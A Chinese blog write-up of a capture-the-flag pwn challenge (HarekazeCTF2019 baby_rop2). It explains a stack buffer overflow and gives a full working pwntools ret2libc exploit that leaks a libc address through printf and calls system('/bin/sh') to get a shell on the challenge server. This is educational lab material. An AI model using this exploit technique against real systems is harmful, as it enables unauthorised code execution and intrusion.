• BUUCTF PWN [HarekazeCTF2019]baby_rop2


    今天的最后一题


    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf[28]; // [rsp+0h] [rbp-20h] BYREF
      int v5; // [rsp+1Ch] [rbp-4h]
    
      setvbuf(stdout, 0LL, 2, 0LL);
      setvbuf(stdin, 0LL, 2, 0LL);
      printf("What's your name? ");
      v5 = read(0, buf, 0x100uLL);
      buf[v5 - 1] = 0;
      printf("Welcome to the Pwn World again, %s!\n", buf);
      return 0;
    }
    

    利用思路:

    1.程序很简单,buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为” system(‘/bin/sh’)“,那样在执行13行语句的时候,程序回去调用我们布置好的栈,从而得到shell
    2.但是程序里没有现成的system(‘/bin/sh’),这需要我们去自己去构造,这边可以利用read函数,去泄露程序的libc基址,然后去获得system和/bin/sh字符串的地址
    3.然后造成溢出,将返回地址覆盖为system(‘/bin/sh’)
    

    过程实践

    1.泄露libc基址
      由于是64位程序,传参的时候需要用到寄存器
      printf函数的原型int printf( const char* format , [argument] ... );
      举个例子–>print(’%s’,‘hello world’)
      大概就是这样的用法,这边有两个参数要设置,所以我们要找到设置rdi,rsi寄存器的指令
    
    ROPgadget --binary babyrop2 |grep "pop rdi"
    
    ![](https://img2020.cnblogs.com/blog/1660692/202112/1660692-20211209224924090-824959966.png)
    

    rdi_addr=0x400733

    ROPgadget --binary babyrop2 |grep "pop rsi"
    
    

    pop_rsi=0x400731

    我们首先要设置第一个参数,就是带有类似于%s这种格式的字符串,我这边是使用的程序里自带的语句

    一开始是打算输出printf的got表地址的,

    payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(printf_got)+p64(0)+p64(printf_plt)+p64(main_addr)

    解释一下这句payload的意思

    ‘a’*0x28–>造成溢出,覆盖到了返回地址
    p64(pop_rdi)+p64(format_str)–>我们在原本语句的返回地址上写入了pop_rdi,ret,pop_rdi,对应参数format_str,执行后将formast_str的值设置给了rdi,之后执行ret(返回指令)
    p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我们将2中的ret写成了pop_rsi,pop_r15,ret;执行指令pop_rsi对应参数read_got,将rsi寄存器的值设置成了read函数的got表地址,pop_r15对应参数0,由于我们不用r15,随便设置一下它,我是设置成了0
    p64(printf_plt)–>将3中的ret设置成printf函数的plt表地址,实际上就是printf函数的地址,去执行printf函数,输出我们设置的read函数的地址
    p64(main_addr)–> 在完成第一次利用后,得到了程序内read函数的地址,知道了libc基址,我们需要重新回到程序开头,再次利用这个输入点去写入system‘(/bin/sh)’
    

    接收输出的read函数地址
    我平常是这样写的,但是这题这样写得到的read函数地址不对

    read_addr=u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))

    看别人的wp都是这样写的

    read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

    问其他师傅是这样给我解释的:
    接收地址的你看看基本上都是7个字节的,7f开头,补全8个字节
    奇怪的知识又增加了
    在得到read函数地址后,就可以得到libc版本和这个程序的偏移量了

    libc = LibcSearcher('read', read_addr) #利用libcsearcher库去查找匹配的libc版本
    libc_base = read_addr - libc.dump('read') #计算程序里的偏移量

    二、计算程序里system和/bin/sh的地址

    sys_addr = libc_base + libc.dump('system')
    bin_sh = libc_base + libc.dump('str_bin_sh')

    三、覆盖返回地址位system(‘/bin/sh ’)

    payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

    完整EXP:

    from pwn import *
    from LibcSearcher import *
    context.log_level = 'debug'

    p = process('./babyrop2')

    p = remote('node3.buuoj.cn',28485)
    elf = ELF('babyrop2')

    pop_rdi = 0x0000000000400733
    pop_rsi_r15 = 0x0000000000400731
    format_str = 0x0000000000400770
    ret_addr = 0x0000000000400734

    printf_plt = elf.plt['printf']
    read_got = elf.got['read']
    main_plt = elf.sym['main']

    payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

    p.recvuntil("name? ")
    p.sendline(payload)

    read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    print hex(read_addr)
    libc = LibcSearcher('read', read_addr)
    libc_base = read_addr - libc.dump('read')

    sys_addr = libc_base + libc.dump('system')
    bin_sh = libc_base + libc.dump('str_bin_sh')

    payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
    p.sendline(payload)
    p.interactive()

  • 相关阅读:
    docker部署项目,对镜像,容器的操作
    技术汇总:第十六章:关于登录与退出的token
    关于EZDML数据库表结构制作设计工具使用踩的坑
    技术汇总:第十七章:支付宝对接公钥,私钥
    集成Mybatis
    解决errorCode 0, state 08001 报错
    Spring缓存注解@Cacheable,@CachePut , @CacheEvict
    解决:Could not initialize class org.hibernate.validator.internal.engine.Configura
    @ConditionalOnMissingBean注解的作用
    解决:WARNING: An illegal reflective access operation has occurred
  • 原文地址:https://www.cnblogs.com/socialbiao/p/15669817.html
Copyright © 2020-2023  润新知